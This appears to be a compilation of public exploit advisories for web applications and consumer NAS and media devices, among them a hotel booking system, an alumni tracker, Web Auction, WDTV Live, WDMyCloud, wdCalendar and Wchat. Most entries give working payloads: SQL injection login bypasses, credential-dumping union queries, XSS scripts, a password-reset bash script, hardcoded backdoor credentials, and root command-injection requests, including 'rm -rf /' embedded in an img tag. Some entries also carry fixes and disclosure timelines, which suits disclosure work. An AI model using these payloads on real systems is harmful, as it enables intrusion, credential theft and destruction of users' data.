# Vendor Homepage: https://github.com/mrzulkarnine/Web-based-hotel-booking-system
# Software Link: https://github.com/mrzulkarnine/Web-based-hotel-
booking-system
# Version: 0.1.0
# Tested on: Kali Linux

Source code(localhost/admin/loginauth.php):
                   <?php
                        session_start();

                         $_SESSION['username'] = $_POST['username'];
                         $_SESSION['password'] =  $_POST['password'];

                         include './auth.php';
                         $re = mysql_query("select * from user where
username = '".$_SESSION['username']."'  AND password =
'".$_SESSION['password']."' " );
echo mysql_error();
                        if(mysql_num_rows($re) > 0)
                          {
                            header('Refresh: 0;url=dashboard.php');
                           }
                       else
                          {

                             session_destroy();
                             header("location: index.htm");
                           }
                           ?>

Payload:
       Username: 1' or 1 = 1 LIMIT 1#
       Password: 1' or 1 = 1 LIMIT 1#
            
# Exploit Title.............. Web Based Alumni Tracking System Multiple Vulnerability
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/John%20Mark%20Ulep/web-based_alumni_tracking_system.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /admin/print_employed.php
-------------------------------

----snip----

48 <?php $get_id = $_GET['id'];?>

----snip----

/admin/index.php
----------------

----snip----

$user = $_POST['username'];
$password = $_POST['password'];


$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());

----snip----


Example exploitation
--------------------
http://server/path_to_webapp/admin/print_employed.php?id=-2%27%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12%20from%20user--+

http://server/path_to_webapp/admin/index.php
Login with username and password: admin' or '1'='1


How to fix
----------
Simple method's use the php function intval and mysql_real_escape_string.

   Example: /admin/print_employed.php

		48 <?php $get_id = intval($_GET['id']);?>


   Example: /admin/index.php

$user = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);


$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
http://php.net/manual/en/function.intval.php
http://php.net/manual/en/function.mysql-real-escape-string.php
            
source: https://www.securityfocus.com/bid/47682/info

Web Auction is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Web Auction 0.3.6 is vulnerable; other versions may also be affected. 

http://www.example.com/webauction-0.3.6/dataface/lib/jscalendar/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(0)// 
            
#######################################################
## WDTV Live SMP Remote Password Reset Vulnerability ##
#######################################################

Date: Jul 14 2017
Author: sw1tch
Demo: https://www.sw1tch.net/2017/07/12/wdtv-live-smb-exploit/
Description: A simple remotely exploitable web application vulnerability
for the WDTV Live Streaming Media Player and possibly other WDTV systems.

-INTRO-

The WDTV Live SMP is a is a consumer device produced by Western Digital
that plays videos, images, and music from USB drives. It can play
high-definition video through an HDMI port, and standard video through
composite video cables. It can play most common video and audio formats. As
of August 2016, the WDTV appears to be discontinued.

The latest firmware version appears to be 2.03.20.

-VULNERABILITY-

The WDTV Live SMP runs an embedded webserver, allowing authenticated users
to upload themes, manage device settings, access a virtual remote and other
tasks. To authenticate, a user needs to provide the correct password (no
username).

An unauthenticated attacker can update the password via a constructed GET
request, subsequently taking control of many functions of the device.

Vulnerable versions include at least firmware 2.03.20, and likely many more
older versions.

-POC-

#!/bin/bash

echo
echo "WDTV Live SMP Admin Password Reset Exploit"
echo "Apparently sw1tch found this guff in 2017"
echo
if [ $# != 2 ]; then
  echo "Usage: `basename $0` <target IP/host> <new password>"
echo
  exit $ERR_ARG
fi

# Vars...
target=$1
password=$2

echo -n "[*] Slamming your chosen password at $target now..."
curl "http://$target/DB/modfiy_pw.php" -d "password=$password"
echo "done!"
echo "[*] Try logging in to http://$target/ using $password"
echo
exit 0

-FIX-

None available. Device appears to be EOL so unlikely to be remediated.

--------------------------------------------------------------------------------------------------------------------------------
            
WDMyCloud Multiple Vulnerabilities
Vendor: Western Digital
Product: WDMyCloud
Version: <= 2.30.165
Website: https://www.wdc.com/products/network-attached-storage.html


###########################################################################
                     ______      ____________          __  
                    / ____/_  __/ / __/_  __/__  _____/ /_ 
                   / / __/ / / / / /_  / / / _ \/ ___/ __ \
                  / /_/ / /_/ / / __/ / / /  __/ /__/ / / /         
                  \____/\__,_/_/_/   /_/  \___/\___/_/ /_/ 
                                                                
                     GulfTech Research and Development                                                                 

###########################################################################
#             WDMyCloud <= 2.30.165 Multiple Vulnerabilities              #
###########################################################################

Released Date: 2018-01-04
Last Modified: 2017-06-11
 Company Info: Western Digital
 Version Info: 
              Vulnerable
               MyCloud <= 2.30.165
               MyCloudMirror <= 2.30.165
               My Cloud Gen 2
               My Cloud PR2100
               My Cloud PR4100
               My Cloud EX2 Ultra
               My Cloud EX2
               My Cloud EX4
               My Cloud EX2100
               My Cloud EX4100
               My Cloud DL2100
               My Cloud DL4100

              Not Vulnerable
               MyCloud 04.X Series
 

--[ Table of contents

00 - Introduction
    00.1 Background

01 - Unrestricted file upload
    01.1 - Vulnerable code analysis
    01.2 - Remote exploitation

02 - Hard coded backdoor
    02.1 - Vulnerable code analysis
    02.2 - Remote exploitation

03 - Miscellaneous security issues
    03.1 - Cross site request forgery
    03.2 - Command injection
    03.3 - Denial of service
    03.4 - Information disclosure

04 - Reused Code

05 - Credit

06 - Proof of concept

07 - Disclosure timeline

08 - Solution

09 - Contact information

10 - References


--[ 00 - Introduction

The purpose of this article is to detail the research that I have completed 
regarding the Western Digital MyCloud family of devices.

Several serious security issues were uncovered during my research. 
Vulnerabilities such as pre auth remote root code execution, as well as a 
hardcoded backdoor admin account which can NOT be changed. The backdoor 
also allows for pre auth remote root code execution on the affected device.

The research was conducted on both a WDMyCloud 4TB and a WDMyCloudMirror
16TB with the latest available firmware 2.30.165. My research shows that
the 04 branch of the WDMyCloud firmware is not vulnerable to these issues.

--[ 00.1 - Background

WD My Cloud is a personal cloud storage unit to organize your photos and 
videos. It is currently the best selling NAS (network attached storage)
device listed on the amazon.com website, and is used by individuals and
businesses alike.  It's purpose is to host your files, and it also has the
ability to sync them with various cloud and web based services.


--[ 01 - Unrestricted file upload

The WDMyCloud device is vulnerable to an unrestricted file upload 
vulnerability within the following file:

/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php

The root of the problem here is due to the misuse and misunderstanding of
the PHP gethostbyaddr() function used within PHP, by the developer of this 
particular piece of code. From the PHP manual this functions return values 
are defined as the following for gethostbyaddr():

"Returns the host name on success, the unmodified ip_address on failure, or 
FALSE on malformed input."

With a brief overview of the problem, let's have a look at the offending 
code in order to get a better understanding of what is going on with this 
particular vulnerability.

--[ 01.1 - Vulnerable code analysis

Below is the code from the vulnerable "multi_uploadify.php" script. You can
see that I have annoted the code to explain what is happening.

#BUG 01: Here the attacker controlled "Host" header is used to define the 
remote auth server. This is by itself really bad, as an attacker could
easily just specify that the host be the IP address of a server that they
are in control of. But, if we send it an invalid "Host" header it will just
simply return FALSE as defined in the PHP manual.

$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri =  $_REQUEST['redirect_uri']; 

//echo $name ."
".$pwd."
".$ip;

#BUG 02: At this point, this request should always fail. The $result
variable should now be set to FALSE.

$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));

#BUG 03: Here an empty haystack is searched, and thus strstr() returns a
value of FALSE.

$result_1 = strstr($result,"0");
$result_1 = substr ($result_1, 0,28);  

#BUG 04: The strncmp() call here is a strange one. It looks for a specific
login failure. So, it never accounts for when things go wrong or slightly
unexpected. As a result this "if" statement will always be skipped.

if (strncmp ($result_1,"0",28) == 0 )
//if (strstr($result,"0")== 0 )
{
    header("HTTP/1.1 302 Found");
  header("Location: ".$redirect_uri."?status=0");
  exit();   
}

#BUG 05: At this point all checks have been passed, and an attacker can use
this issue to upload any file to the server that they want.

The rest of the source code was omitted for the sake of breivity, but it 
just handles the file upload logic once the user passes the authentication
checks.

--[ 01.2 - Remote exploitation

Exploiting this issue to gain a remote shell as root is a rather trivial
process. All an attacker has to do is send a post request that contains a 
file to upload using the parameter "Filedata[0]", a location for the file 
to be upload to which is specified within the "folder" parameter, and of 
course a bogus "Host" header.

I have written a Metasploit module to exploit this issue. The module will
use this vulnerability to upload a PHP webshell to the "/var/www/"
directory. Once uploaded, the webshell can be executed by requesting a URI
pointing to the backdoor, and thus triggering the payload.


--[ 02 - Hard coded backdoor

After finding the previously mentioned file upload vulnerability I decided
to switch gears and start reversing the CGI binaries that were accessable
via the web interface. The CGI binaries are standard Linux ELF executables
and pretty easy to go through. Within an hour of starting I stumbled 
across the following file located at:

/usr/local/modules/cgi/nas_sharing.cgi

The above file can be accessed by visiting "/cgi-bin/nas_sharing.cgi" but 
it produces server errors with every single method, except when the "cmd"
parameter was set to "7". This piqued my interest and so I really started
digging into the binary, as it seemed very buggy and possibly vulnerable.

As it turns out the error was caused due to buggy code and nothing I was or 
wasn't doing wrong. But, while I was figuring out the cause of the error I 
happened to come across the following function that is used to authenticate 
the remote user. 

--[ 02.1 - Vulnerable code analysis

Below is the psuedocode created from the disassembly of the binary. I have
renamed the function to "re_BACKDOOR" to visually identify it more easily.

struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
{
  const char *v2; // r5@1
  const char *v3; // r4@1
  struct passwd *result; // r0@4
  FILE *v5; // r6@5
  struct passwd *v6; // r5@7
  const char *v7; // r0@9
  size_t v8; // r0@10
  int v9; // [sp+0h] [bp-1090h]@1
  char s; // [sp+1000h] [bp-90h]@1
  char dest; // [sp+1040h] [bp-50h]@1

  v2 = a2;
  v3 = a1;
  memset(&s, 0, 0x40u);
  memset(&dest, 0, 0x40u);
  memset(&v9, 0, 0x1000u);
  if ( *v2 )
  {
    v8 = strlen(v2);
    _b64_pton(v2, (u_char *)&v9, v8);
    if ( dword_2C2E4 )
    {
      sub_1194C((const char *)&unk_1B1A4, v2);
      sub_1194C("pwd decode[%s]\n", &v9);
    }
  }
  if (!strcmp(v3, "mydlinkBRionyg") 
  &&  !strcmp((const char *)&v9, "abc12345cba") )
  {
    result = (struct passwd *)1;
  }
  else
  {
    v5 = (FILE *)fopen64("/etc/shadow", "r");
    while ( 1 )
    {
      result = fgetpwent(v5);
      v6 = result;
      if ( !result )
        break;
      if ( !strcmp(result->pw_name, v3) )
      {
        strcpy(&s, v6->pw_passwd);
        fclose(v5);
        strcpy(&dest, (const char *)&v9);
        v7 = (const char *)sub_1603C(&dest, &s);
        return (struct passwd *)(strcmp(v7, &s) == 0);
      }
    }
  }
  return result;
}

As you can see in the above code, the login functionality specifically
looks for an admin user named "mydlinkBRionyg" and will accept the password
of "abc12345cba" if found. This is a classic backdoor. Simply login with 
the credentials that I just mentioned from the above code.

Also, it is peculiar that the username is "mydlinkBRionyg", and that the 
vulnerability in Section 1 of this paper refers to a non existent file name
of "mydlink.cgi" but, more about that later in section 4...

--[ 02.2 - Remote exploitation

At first, to the untrained eye, exploiting this backdoor to do useful
things may seem problematic due to the fact that only method "7" gives us
no error. And, method 7 only allows us the ability to download any files in 
"/mnt/", but no root shell. But, we want a root shell. Right?

After digging deeper I realized that the CGI script was dying every time, 
but only at the final rendering phase due to what seems like an error where 
the programmer forgot to specify the content type header on output, thus 
confusing the webserver and causing the crash. So, everything we do gets 
executed up until that point successfully. It is just blind execution.

Now that I had that figured out I started looking for a method I could then
exploit to gain shell access. I started with method "51" because it was the 
first one I looked at. This particular method happened to contain a command 
injection issue. Now I easily could turn this backdoor into a root 
shell, and gain control of the affected device.

GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMT
IzNDVjYmE&start=1&count=1;touch+/tmp/gulftech; HTTP/1.1

By sending a request like the one above a remote attacker could now execute
any commands as root. And yes, the password is base64 encoded, as that is
what the script expects. In the example above I simply create a file called 
"gulftech" located in the "/tmp/" directory.

The triviality of exploiting this issues makes it very dangerous, and even
wormable. Not only that, but users locked to a LAN are not safe either. An
attacker could literally take over your WDMyCloud by just having you visit
a website where an embedded iframe or img tag make a request to the 
vulnerable device using one of the many predictable default hostnames for
the WDMyCloud such as "wdmycloud" and "wdmycloudmirror" etc.

<img src="http://wdmycloud/cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlin
kBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;rm+-rf+/;">

For example simply visiting the above link will totally destroy a WDMyCloud
without the need for any type of authentication whatsoever, and there is 
nothing you can do about it except delete the file as the credentials are 
hardcoded into the binary itself.


--[ 03 - Miscellaneous vulnerabilities

In addition to the two previously mentioned critical vulnerabilities were
also several other issues. These other issues are still very dangerous, but
require authentication in some cases, and for the most part are not 
considered as critical, and also require less technical explanation. 

--[ 03.1 - Cross site request forgery

There is no real XSRF protection within the WDMyCloud web interface. This
can have quite the impact on unsuspecting users. Exploitation of this issue 
is trivial.

http://wdmycloud/web/dsdk/DsdkProxy.php?;rm -rf /;

For example, if a logged in WDMyCloud admin visits, or is forced to visit
the above link, then the entire device will be wiped out. This is just one
of many XSRF issues. We do not have time to track them all down.

--[ 03.2 - Command injection

Some time ago, a researcher from the "Exploiteers" team found an alarming
number of command injection issues within the WDMyCloud. Unfortunately, we 
were able to find quite a few as well.

class RemoteBackupsAPI{
    public function getRecoverItems()
    {
        $xmlPath = "/var/www/xml/rsync_recover_items.xml";
        $jobName = $_REQUEST['jobName'];
        
        @unlink($xmlPath);
        
        $cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
        system($cmd);
        
        if (file_exists($xmlPath))
        {
            print file_get_contents($xmlPath);
        }
        else
        {
            print "";
        }
    }
}

The above code is an example of the type of command injection issues that
still plague the WDMyCloud. This particular command injection is post auth,
as were all of the other command injections I found too. However, I did not 
have time to sift through looking for all of these. And by now I feel 
that the manufacturer should know better considering they just went through 
the process of patching many command injection vulnerabilities disclosed by 
the Exploiteers.[1]

--[ 03.3 - Denial of service

It is possible for an attacker to abuse language preferences functionality
in order to cause a DoS to the web interface. This is due to the fact that
any unauthenticated user can set the global language preferences for the
entire device and all of its users. The psuedocode from the disassembled 
binary can be seen below.

int cgi_language()
{
  int v1; // [sp+0h] [bp-10h]@1

  cgiFormString("f_language", &v1, 8);
  xml_set_str((int)"/language", (int)&v1);
  xml_write_file("/etc/NAS_CFG/config.xml");
  LIB_CP_Config_To_MTD(1);
  cgiHeaderContentType("text/html");
  return system("language.sh > /dev/null 2>&1 &");
}

This is not a very useful attack vector since we only have 8 bytes to work 
with. But, you can make a script that keeps randomly resetting the language 
to some random language and it will affect all users of the device and 
requires no authentication. It is very hard to use the device if it is 
rendering all of the pages in a language you can not understand.

http://wdmycloud/cgi-bin/login_mgr.cgi?cmd=cgi_language&f_language=7

The above example request sets the language to korean. There are 17 
available language codes. Details can be found in language.sh located on 
the target device.

--[ 03.4 - Information disclosure

It is possible for an attacker to dump a list of all users, including
detailed user information.

GET /api/2.1/rest/users? HTTP/1.1

Making a simple request to the webserver like the one above will dump the
user information to an attacker for all users. This does not require any 
authentication in order to take advantage of.


--[ 04 - D-Link DNS-320L ShareCenter

As I have mentioned earlier in this article, I found it peculiar that 
the username used for the backdoor is "mydlinkBRionyg", and that the 
vulnerability in Section 1 of this paper refers to a non existent file name
of "mydlink.cgi". This really piqued my curiosity, and so I started using
google to try to track down some leads. After searching for the term of
"mydlink.cgi" I came across a reference to a post made by a D-Link user
regarding their D-Link DNS-320L ShareCenter NAS device.[2]

Within that post were references to file names and directory structure that
were fairly unique, and from the D-link device. But, they also perfectly 
matched my WDMyCloud device. The more I looked into this the weirder it 
seemed. So, I gained access to a D-Link DNS-320L ShareCenter. Once I had it 
things became pretty clear to me as the D-Link DNS-320L had the same exact 
hard coded backdoor and same exact file upload vulnerability that was 
present within the WDMyCloud. So, it seems that the WDMyCloud software 
shares a large amount of the D-Link DNS-320L code, backdoor and all. There 
are also other undeniable examples such as misspelled function names and 
other anomalies that match up within both the WDMyCloud and the D-Link 
DNS-320L ShareCenter code.

It should be noted that unlike the WDMyCloud the D-Link DNS-320L is 
currently NOT vulnerable to the backdoor and file upload issues, so you 
should upgrade your DNS-320L firmware as soon as possible as the issues can
be leveraged to gain a remote root shell on the DNS-320L if you are not up
to date with your device firmware. The backdoor was first removed in the 
1.0.6 firmware release. (July 28, 2014)

It is interesting to think about how before D-Link updated their software 
two of the most popular NAS device families in the world, sold by two of 
the most popular tech companies in the world were both vulnerable at the 
same time, to the same backdoor for a while. The time frame in which both 
devices were vulnerable at the same time in the wild was roughly from early 
2014 to later in 2014 based on comparing firmware release note dates.


--[ 05 - Credit

James Bercegay
GulfTech Research and Development


--[ 06 - Proof of concept

We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.


--[ 07 - Disclosure timeline

2017-06-10
Contacted vendor via web contact form. Assigned case #061117-12088041.

2017-06-12
Support member Gavin referred us to WDC PSIRT. We immediately sent a PGP
encrypted copy of our report to WDC PSIRT.

2017-06-13
Recieved confirmation of report from Samuel Brown.

2017-06-16
A period of 90 days is requested by vendor until full disclosure.

2017-12-15
Zenofex posts disclosure of the upload bug independantly of my research [3]

2018-01-03
Public Disclosure


--[ 08 - Solution

N/A


--[ 09 - Contact information

Web
https://gulftech.org/

Mail
security@gulftech.org


--[ 10 - References

[1] https://blog.exploitee.rs/2017/hacking_wd_mycloud/
[2] http://forums.dlink.com/index.php?topic=65415.0
[3] https://www.exploitee.rs/index.php/Western_Digital_MyCloud

Copyright 2018 GulfTech Research and Development. All rights reserved.
            
# Exploit Title: wdcalendar version 2 sql injection vulnerability
# Google Dork: allinurl:"wdcalendar/edit.php"
# Date: 12/09/2016
# Exploit Author: Alfonso Castillo Angel
# Software Link: https://github.com/ronisaha/wdCalendar
# Version: Version 2
# Tested on: Windows 7 ultimate
# Category: webapps

 * Affected file -> edit.php and edit.db.php
 * Exploit ->
http://localhost/wdcalendar/edit.php?id=-1+union+select+1,version(),user(),4,5,6,7,8,9--


 * Vulnerable code:

 function getCalendarByRange($id){
  try{
    $db = new DBConnection();
    $db->getConnection();
    $sql = "select * from `jqcalendar` where `id` = " . $id;  //the
variable is not filtered properly
    $handle = mysql_query($sql);
    //echo $sql;
    $row = mysql_fetch_object($handle);
}catch(Exception $e){
  }
  return $row;
}
if($_GET["id"]){
  $event = getCalendarByRange($_GET["id"]); //the variable is not filtered
properly
            
# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass
# Date: 24.01.2017
# Software Link: https://www.wdc.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
 
1. Description

It’s possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`.

It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist.

https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html

2. Proof of Concept

For RCE simply use as username:

a" || your_command_to_execute || "

For authentication bypass set COOKIES:

username=1; isAdmin=1

and then visit for example php/users.php
            
# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script  1.5 - Persistent cross site scripting
# Date: 2018-05-21
# Exploit Author: Borna nematzadeh (L0RD)
# Vendor Homepage: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319?s_rank=1327
# Version: 1.5
# Tested on: Windows

# POC :
1) Create your account and navigate to "Edit profile"
2) Put this payload into textarea :
</textarea><script>console.log(document.cookie)</script>
3) The payload will be executed if someone opens your profile .